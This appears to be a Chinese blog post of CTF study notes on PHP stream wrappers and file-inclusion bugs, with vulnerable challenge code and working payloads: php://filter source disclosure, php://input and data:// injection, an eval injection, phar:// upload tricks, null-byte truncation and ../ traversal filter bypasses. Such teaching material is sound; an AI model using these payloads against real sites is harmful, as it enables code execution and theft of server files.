blog6
php伪协议
非网络上的HTTP与FTP协议,是操作系统提供的一种标准协议,php支持的协议与封装协议,其格式是:zzz://xxxx
php伪协议种类:
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- php:// — 访问各个输入/输出流(I/O streams)
- zlib:// — 压缩流
- data:// — 数据(RFC 2397)
- glob:// — 查找匹配的文件路径模式
- phar:// — PHP 归档
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音频流
- expect:// — 处理交互式的流
在php.ini中两个重要的配置:allow_url_fopen(能否远程文件包含) 和allow_url_include(能否使用协议),它们会影响fopen和include等等函数对于伪协议的支持。
php伪协议应用
1.代码:?file=php://filter/convert.base64-encode/resource=xxx.php
获取base64码PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
网上解码得到网页源码:
`
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>`
具体解释:php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include;
2.extract()变量覆盖漏洞
extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
实例:
$test='*********'
extract($_GET);
if(isset($gift)){
$content=trim($test);
if($gift==$content){
echo 'flag is:'.$flag;
}else{
echo 'error';
}
}
此段代码在第二行引用了extract()函数,说明可以利用此漏洞。$GET[‘test’]=’a’,被extract()函数处理后,就变成了$test=’a’,有与之同名的变量$test = ‘‘;,将其值覆盖掉。并且get方法传输的gift参数的值也为a。这样,$gift=$content。就可以获得flag。
3.源代码:
`<?php
$user=$_GET[‘user’];
#echo $user;
if(isset($user)&&(file_get_contents($user,'r')==='the user is admin')){
echo "flag{xxxxxxxxxxxxx}";
}
else{
echo "you are not admin ! ";
}
?>`
因为其中有file_get_contents,所以可以用以下方法
(1)
输入?user=data://text/plain,the user is admin
(2)
输入?user=php://input
[POST]:the user is admin
4.源码:
`<?php
highlight_file(‘index.php’);
/*
view file: php.ini
so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.
so there will be something in it which enables you to solve this level, wont?
always be UP TO DATE!
hint enough, might just take you seconds to do?!
*/
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!!!
$inc = @$_GET['file'];
@require_once($inc);
?> `
根据提示打开php.ini文件,发现allow_url_include是on,所以可以使用PHP伪协议执行代码。而allow_url_fopen是off即无法使用远程文件包含指令。
先输入<?php phpinfo(); ?>找到document的root地址
在输入<?php print_r(scandir(‘root地址’))?>,找到flag
5.源码:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
存在eval()函数,?hello=);print_r(file(“./flag.php”),组合下就是eval( “var_dump();print_r(file(“./flag.php”));”);
6.源码:
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}
?>
扫描文件输入?path=php://input
<?php print_r(scandir(“.”); ?>
7.phar:// —数据流包装器,自 PHP 5.3.0 起开始有效,php的一个函数,功能是解压还原
创建一个php文件,压缩并将压缩后的文件改为jpg文件,再上传记下地址
输入?file=phar://upload/xxx.jpg/xx(原php文件名)
文件包含
PHP文件包含漏洞:在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。
-远程文件包含RFI 例如?file=http://hhddj/hhd.txt
-本地文件包含LFI 例如?file=../hhd.txt
php文件包含的几个函数
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
%00截断
在php 5.3.4之前有效
$_GET[“filename”]中常见
filename=test.php%00.txt
主要利用常见:
1.上传时路径必须为txt、png等结尾时
2.文件下载时,绕过白名单检查
3.文件包含时,截断后面限制(主要是本地包含时)
magic_quotes_gpc = Off时,可以使用%00绕过
(注:magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”)
从根目录搜寻与双写重结构
/../../../../../../www/dvwa/php.ini
前面必须加/表示从根目录开始,当不知道有多少路径时,尽量多加../但不要太多
str_replace( array( “../“, “..\”” ), “”, $file );
即是/../../www/hhd.txt
即是/…/./…/./www/hhd.txt,其中../会被过滤掉
?page=/…/./…/./…/./…/./…/./…/./xxx/xxx/php.ini